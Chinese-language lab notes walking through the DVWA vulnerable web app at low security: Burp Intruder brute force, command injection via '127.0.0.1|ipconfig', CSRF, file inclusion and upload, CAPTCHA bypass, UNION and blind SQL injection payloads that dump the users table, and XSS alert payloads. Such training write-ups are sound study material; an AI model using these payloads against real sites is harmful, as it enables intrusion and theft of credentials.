LOW
Brute Force
随便输入一组用户名和密码
登录抓包
在页面内右键把包放到intrude测试器模块,双击用户名和密码,并点击add,变为有效载荷
攻击类型选择集束炸弹模式
\
ps:
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
导入两个字典,开始爆破,
字典跑完后,点击“长”使其按顺序或逆序排列,查看返回的数字,发现有数字和其他大多数数字不同即代表攻击成功
\
成功
Command Injection
输入本机IP地址后,出现了乱码
在文件中改一下编码
D:\phpstudy_pro\WWW\DVWA\dvwa\includes中打开dvwaPage.inc.php
把UTF-8改成GBK
看源码
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";
}?>
shell_exec函数是执行系统指令,后面是执行ping指令
只让执行ping指令
可以试一试在ping指令后面添加其他指令,实现命令行注入
命令连接符
a && b :代表首先执行前者命令a再执行后命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。(前面的命令执行成功后,它后面的命令才被执行)
a & b:代表首先执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。(表示简单的拼接,A命令语句和B命令语句没有制约关系)
a || b:代表首先执行a命令再执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。(前面的命令执行失败,它后面的命令才被执行)
a | b:代表首先执行a命令,再执行b命令,不管a命令成功与否,都会去执行b命令。(当第一条命令失败时,它仍然会执行第二条命令,表示A命令语句的输出,作为b命令语句的输入执行。)
cd:用于切换目录
dir:查看当前目录下的文件和文件夹
ipconifg:查看网络配置信息
ping:测试网络连接
tasklist:列出正在运行的进程
systemminfo:显示计算机的详细信息
regedit:打开注册表编辑器
选择127.0.0.1|ipconfig
CSRF
输入密码,进行更改后发现,上方地址栏有回显
查看源码
源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,
可以直接在url处更改密码
File Inclusion
源代码
<?php// The page we wish to display
$file = $_GET[ 'page' ];?>
无过滤,直接get上传php文件(一句话木马)
File Upload
直接上传,发现成功了
Insecure CAPTCHA
源代码
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the user$html .= "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end user$html .= "<pre>Password Changed.</pre>";}else {// Issue with the passwords matching$html .= "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
修改密码分成了两步,step=1和step=2
分析代码可知,step=1是检查用户输入的验证码,验证通过后进行第二步,第二步post传参,完成修改密码
代码及能通过change和step的参数来判断验证码是否正确,这样就可以通过抓包来手动改变step参数的值
成功
SQL Injection
1.判断有没有注入点,直接在输入框中输入1,观察页面是否有变化,要是有变化就证明有注入点
2.判断是字符型还是数字型,输入1=2,观察页面变化,发现没有变化,说明是字符型
3.判断闭合方式,在1后面加上英文单引号,观察页面变化,
之后再加#号注释掉,发现没有报错了
4.用order by判断字段数,观察页面变化
发现报错,改为1’order by 2#试一试
页面正常,说明字段数是2
5.用union联合注入来查询回显位置
1和2都可以正常回显
查询数据库名和版本号
1' union select database(),version() #
6.获取dvwa库的所有表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
7.查询users表,也就是查询user表里面的字段
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #
8.查询user和password字段里面的值
1' union select user,password from users #
SQL Injection(Blind)
基础步骤和上文一样,不同的输入页面有两种显示,是布尔盲注
用ascii码值来判断真假
输入,判断dvwa,第一个字母是d,所以是100,以此类推1' and ascii(substr(database(),1,1))=100 #
获取表名,获取字段,获取字段值输入1' and ascii(substr(x,1,1))=y #x是输入查询的语句,和上一关一样y是ascii值,需要一步步查看
XSS(DOM)
可以在此处进行输入js代码
<script>alert(1)</script>
XSS(Reflected)
和上一关一样的js代码
<script>alert(1)</script>
XSS(Stored)
在留言框输入js代码
<script>alert(1)</script>